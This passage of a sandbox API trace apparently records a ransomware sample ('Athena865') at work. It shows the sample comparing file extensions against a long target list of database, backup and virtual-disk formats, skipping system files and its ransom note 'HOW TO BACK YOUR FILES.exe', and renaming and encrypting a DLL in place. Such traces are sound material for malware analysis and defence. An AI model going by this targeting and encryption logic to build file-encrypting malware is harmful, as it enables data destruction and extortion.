lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0120.258] lstrlenW (lpString="sdf") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0120.258] lstrlenW (lpString="sis") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0120.258] lstrlenW (lpString="spq") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0120.258] lstrlenW (lpString="te") returned 2 [0120.258] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0120.258] lstrlenW (lpString="teacher") returned 7 [0120.258] lstrcmpiW (lpString1="srv.dll", lpString2="teacher") returned -1 [0120.258] lstrlenW (lpString="tmd") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0120.258] lstrlenW (lpString="tps") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0120.258] lstrlenW (lpString="trc") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0120.258] lstrlenW (lpString="trc") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0120.258] lstrlenW (lpString="trm") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0120.258] lstrlenW (lpString="udb") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0120.258] lstrlenW (lpString="udl") returned 3 [0120.258] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0120.259] lstrlenW (lpString="usr") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0120.259] lstrlenW (lpString="v12") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0120.259] lstrlenW (lpString="vis") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0120.259] lstrlenW (lpString="vpd") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0120.259] lstrlenW (lpString="vvv") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0120.259] lstrlenW (lpString="wdb") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0120.259] lstrlenW (lpString="wmdb") returned 4 [0120.259] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0120.259] lstrlenW (lpString="wrk") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0120.259] lstrlenW (lpString="xdb") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0120.259] lstrlenW (lpString="xld") returned 3 [0120.259] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0120.259] lstrlenW (lpString="xmlff") returned 5 [0120.259] lstrcmpiW (lpString1="v.dll", lpString2="xmlff") returned -1 [0120.259] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.Athena865") returned 79 [0120.259] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll"), lpNewFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.Athena865" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.athena865"), dwFlags=0x1) returned 1 [0120.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\msmgdsrv.dll.Athena865" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\msmgdsrv.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0120.262] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12338536) returned 1 [0120.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0120.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0120.262] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ec38 [0120.262] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0120.264] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0120.267] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.267] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc4870, lpName=0x0) returned 0x17c [0120.269] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa00000, dwNumberOfBytesToMap=0x1c4870) returned 0x2d50000 [0120.340] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0120.406] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0120.424] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0120.424] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0120.424] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0120.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0120.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0120.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552940 [0120.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0120.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0120.425] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x552940 [0120.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0120.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552940 | out: hHeap=0x4f0000) returned 1 [0120.425] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0120.425] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0120.440] CloseHandle (hObject=0x17c) returned 1 [0120.440] CloseHandle (hObject=0x154) returned 1 [0120.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0120.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ec38 | out: hHeap=0x4f0000) returned 1 [0120.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0120.448] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b10f00, ftCreationTime.dwHighDateTime=0x1ca2cab, ftLastAccessTime.dwLowDateTime=0x5f28c8b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b10f00, ftLastWriteTime.dwHighDateTime=0x1ca2cab, nFileSizeHigh=0x0, nFileSizeLow=0x7c6f68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msolap100.dll", cAlternateFileName="MSOLAP~1.DLL")) returned 1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2=".") returned 1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="..") returned 1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="windows") returned -1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="bootmgr") returned 1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="temp") returned -1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="pagefile.sys") returned -1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="boot") returned 1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="ids.txt") returned 1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="ntuser.dat") returned -1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="perflogs") returned -1 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2="MSBuild") returned 1 [0120.449] lstrlenW (lpString="msolap100.dll") returned 13 [0120.449] lstrcpyW (in: lpString1=0x241e8ba, lpString2="msolap100.dll" | out: lpString1="msolap100.dll") returned="msolap100.dll" [0120.449] lstrlenW (lpString="msolap100.dll") returned 13 [0120.449] lstrlenW (lpString="Athena865") returned 9 [0120.449] lstrcmpiW (lpString1="ap100.dll", lpString2="Athena865") returned -1 [0120.449] lstrlenW (lpString=".dll") returned 4 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2=".dll") returned 1 [0120.449] lstrlenW (lpString=".lnk") returned 4 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2=".lnk") returned 1 [0120.449] lstrlenW (lpString=".ini") returned 4 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2=".ini") returned 1 [0120.449] lstrlenW (lpString=".sys") returned 4 [0120.449] lstrcmpiW (lpString1="msolap100.dll", lpString2=".sys") returned 1 [0120.449] lstrlenW (lpString="msolap100.dll") returned 13 [0120.449] lstrlenW (lpString="bak") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0120.450] lstrlenW (lpString="ba_") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0120.450] lstrlenW (lpString="dbb") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0120.450] lstrlenW (lpString="vmdk") returned 4 [0120.450] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0120.450] lstrlenW (lpString="rar") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0120.450] lstrlenW (lpString="zip") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0120.450] lstrlenW (lpString="tgz") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0120.450] lstrlenW (lpString="vbox") returned 4 [0120.450] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0120.450] lstrlenW (lpString="vdi") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0120.450] lstrlenW (lpString="vhd") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0120.450] lstrlenW (lpString="vhdx") returned 4 [0120.450] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0120.450] lstrlenW (lpString="avhd") returned 4 [0120.450] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0120.450] lstrlenW (lpString="db") returned 2 [0120.450] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0120.450] lstrlenW (lpString="db2") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0120.450] lstrlenW (lpString="db3") returned 3 [0120.450] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0120.450] lstrlenW (lpString="dbf") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0120.451] lstrlenW (lpString="mdf") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0120.451] lstrlenW (lpString="mdb") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0120.451] lstrlenW (lpString="sql") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0120.451] lstrlenW (lpString="sqlite") returned 6 [0120.451] lstrcmpiW (lpString1="00.dll", lpString2="sqlite") returned -1 [0120.451] lstrlenW (lpString="sqlite3") returned 7 [0120.451] lstrcmpiW (lpString1="100.dll", lpString2="sqlite3") returned -1 [0120.451] lstrlenW (lpString="sqlitedb") returned 8 [0120.451] lstrcmpiW (lpString1="p100.dll", lpString2="sqlitedb") returned -1 [0120.451] lstrlenW (lpString="xml") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0120.451] lstrlenW (lpString="$er") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0120.451] lstrlenW (lpString="4dd") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0120.451] lstrlenW (lpString="4dl") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0120.451] lstrlenW (lpString="^^^") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0120.451] lstrlenW (lpString="abs") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0120.451] lstrlenW (lpString="abx") returned 3 [0120.451] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0120.451] lstrlenW (lpString="accdb") returned 5 [0120.451] lstrcmpiW (lpString1="0.dll", lpString2="accdb") returned -1 [0120.451] lstrlenW (lpString="accdc") returned 5 [0120.452] lstrcmpiW (lpString1="0.dll", lpString2="accdc") returned -1 [0120.452] lstrlenW (lpString="accde") returned 5 [0120.452] lstrcmpiW (lpString1="0.dll", lpString2="accde") returned -1 [0120.452] lstrlenW (lpString="accdr") returned 5 [0120.452] lstrcmpiW (lpString1="0.dll", lpString2="accdr") returned -1 [0120.452] lstrlenW (lpString="accdt") returned 5 [0120.452] lstrcmpiW (lpString1="0.dll", lpString2="accdt") returned -1 [0120.452] lstrlenW (lpString="accdw") returned 5 [0120.452] lstrcmpiW (lpString1="0.dll", lpString2="accdw") returned -1 [0120.452] lstrlenW (lpString="accft") returned 5 [0120.452] lstrcmpiW (lpString1="0.dll", lpString2="accft") returned -1 [0120.452] lstrlenW (lpString="adb") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0120.452] lstrlenW (lpString="adb") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0120.452] lstrlenW (lpString="ade") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0120.452] lstrlenW (lpString="adf") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0120.452] lstrlenW (lpString="adn") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0120.452] lstrlenW (lpString="adp") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0120.452] lstrlenW (lpString="alf") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0120.452] lstrlenW (lpString="ask") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0120.452] lstrlenW (lpString="btr") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0120.452] lstrlenW (lpString="cat") returned 3 [0120.452] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0120.453] lstrlenW (lpString="cdb") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0120.453] lstrlenW (lpString="ckp") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0120.453] lstrlenW (lpString="cma") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0120.453] lstrlenW (lpString="cpd") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0120.453] lstrlenW (lpString="dacpac") returned 6 [0120.453] lstrcmpiW (lpString1="00.dll", lpString2="dacpac") returned -1 [0120.453] lstrlenW (lpString="dad") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0120.453] lstrlenW (lpString="dadiagrams") returned 10 [0120.453] lstrcmpiW (lpString1="lap100.dll", lpString2="dadiagrams") returned 1 [0120.453] lstrlenW (lpString="daschema") returned 8 [0120.453] lstrcmpiW (lpString1="p100.dll", lpString2="daschema") returned 1 [0120.453] lstrlenW (lpString="db-journal") returned 10 [0120.453] lstrcmpiW (lpString1="lap100.dll", lpString2="db-journal") returned 1 [0120.453] lstrlenW (lpString="db-shm") returned 6 [0120.453] lstrcmpiW (lpString1="00.dll", lpString2="db-shm") returned -1 [0120.453] lstrlenW (lpString="db-wal") returned 6 [0120.453] lstrcmpiW (lpString1="00.dll", lpString2="db-wal") returned -1 [0120.453] lstrlenW (lpString="dbc") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0120.453] lstrlenW (lpString="dbs") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0120.453] lstrlenW (lpString="dbt") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0120.453] lstrlenW (lpString="dbv") returned 3 [0120.453] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0120.454] lstrlenW (lpString="dbx") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0120.454] lstrlenW (lpString="dcb") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0120.454] lstrlenW (lpString="dct") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0120.454] lstrlenW (lpString="dcx") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0120.454] lstrlenW (lpString="ddl") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0120.454] lstrlenW (lpString="dlis") returned 4 [0120.454] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0120.454] lstrlenW (lpString="dp1") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0120.454] lstrlenW (lpString="dqy") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0120.454] lstrlenW (lpString="dsk") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0120.454] lstrlenW (lpString="dsn") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0120.454] lstrlenW (lpString="dtsx") returned 4 [0120.454] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0120.454] lstrlenW (lpString="dxl") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0120.454] lstrlenW (lpString="eco") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0120.454] lstrlenW (lpString="ecx") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0120.454] lstrlenW (lpString="edb") returned 3 [0120.454] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0120.455] lstrlenW (lpString="epim") returned 4 [0120.455] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0120.455] lstrlenW (lpString="fcd") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0120.455] lstrlenW (lpString="fdb") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0120.455] lstrlenW (lpString="fic") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0120.455] lstrlenW (lpString="flexolibrary") returned 12 [0120.455] lstrcmpiW (lpString1="solap100.dll", lpString2="flexolibrary") returned 1 [0120.455] lstrlenW (lpString="fm5") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0120.455] lstrlenW (lpString="fmp") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0120.455] lstrlenW (lpString="fmp12") returned 5 [0120.455] lstrcmpiW (lpString1="0.dll", lpString2="fmp12") returned -1 [0120.455] lstrlenW (lpString="fmpsl") returned 5 [0120.455] lstrcmpiW (lpString1="0.dll", lpString2="fmpsl") returned -1 [0120.455] lstrlenW (lpString="fol") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0120.455] lstrlenW (lpString="fp3") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0120.455] lstrlenW (lpString="fp4") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0120.455] lstrlenW (lpString="fp5") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0120.455] lstrlenW (lpString="fp7") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0120.455] lstrlenW (lpString="fpt") returned 3 [0120.455] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0120.456] lstrlenW (lpString="frm") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0120.456] lstrlenW (lpString="gdb") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0120.456] lstrlenW (lpString="gdb") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0120.456] lstrlenW (lpString="grdb") returned 4 [0120.456] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0120.456] lstrlenW (lpString="gwi") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0120.456] lstrlenW (lpString="hdb") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0120.456] lstrlenW (lpString="his") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0120.456] lstrlenW (lpString="ib") returned 2 [0120.456] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0120.456] lstrlenW (lpString="idb") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0120.456] lstrlenW (lpString="ihx") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0120.456] lstrlenW (lpString="itdb") returned 4 [0120.456] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0120.456] lstrlenW (lpString="itw") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0120.456] lstrlenW (lpString="jet") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0120.456] lstrlenW (lpString="jtx") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0120.456] lstrlenW (lpString="kdb") returned 3 [0120.456] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0120.457] lstrlenW (lpString="kexi") returned 4 [0120.457] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0120.457] lstrlenW (lpString="kexic") returned 5 [0120.457] lstrcmpiW (lpString1="0.dll", lpString2="kexic") returned -1 [0120.457] lstrlenW (lpString="kexis") returned 5 [0120.457] lstrcmpiW (lpString1="0.dll", lpString2="kexis") returned -1 [0120.457] lstrlenW (lpString="lgc") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0120.457] lstrlenW (lpString="lwx") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0120.457] lstrlenW (lpString="maf") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0120.457] lstrlenW (lpString="maq") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0120.457] lstrlenW (lpString="mar") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0120.457] lstrlenW (lpString="marshal") returned 7 [0120.457] lstrcmpiW (lpString1="100.dll", lpString2="marshal") returned -1 [0120.457] lstrlenW (lpString="mas") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0120.457] lstrlenW (lpString="mav") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0120.457] lstrlenW (lpString="maw") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0120.457] lstrlenW (lpString="mdbhtml") returned 7 [0120.457] lstrcmpiW (lpString1="100.dll", lpString2="mdbhtml") returned -1 [0120.457] lstrlenW (lpString="mdn") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0120.457] lstrlenW (lpString="mdt") returned 3 [0120.457] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0120.458] lstrlenW (lpString="mfd") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0120.458] lstrlenW (lpString="mpd") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0120.458] lstrlenW (lpString="mrg") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0120.458] lstrlenW (lpString="mud") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0120.458] lstrlenW (lpString="mwb") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0120.458] lstrlenW (lpString="myd") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0120.458] lstrlenW (lpString="ndf") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0120.458] lstrlenW (lpString="nnt") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0120.458] lstrlenW (lpString="nrmlib") returned 6 [0120.458] lstrcmpiW (lpString1="00.dll", lpString2="nrmlib") returned -1 [0120.458] lstrlenW (lpString="ns2") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0120.458] lstrlenW (lpString="ns3") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0120.458] lstrlenW (lpString="ns4") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0120.458] lstrlenW (lpString="nsf") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0120.458] lstrlenW (lpString="nv") returned 2 [0120.458] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0120.458] lstrlenW (lpString="nv2") returned 3 [0120.458] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0120.459] lstrlenW (lpString="nwdb") returned 4 [0120.459] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0120.459] lstrlenW (lpString="nyf") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0120.459] lstrlenW (lpString="odb") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0120.459] lstrlenW (lpString="odb") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0120.459] lstrlenW (lpString="oqy") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0120.459] lstrlenW (lpString="ora") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0120.459] lstrlenW (lpString="orx") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0120.459] lstrlenW (lpString="owc") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0120.459] lstrlenW (lpString="p96") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0120.459] lstrlenW (lpString="p97") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0120.459] lstrlenW (lpString="pan") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0120.459] lstrlenW (lpString="pdb") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0120.459] lstrlenW (lpString="pdm") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0120.459] lstrlenW (lpString="pnz") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0120.459] lstrlenW (lpString="qry") returned 3 [0120.459] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0120.459] lstrlenW (lpString="qvd") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0120.460] lstrlenW (lpString="rbf") returned 3 [0120.460] lstrcmpiW (lpString1="dll", lpString2="rbf") returned 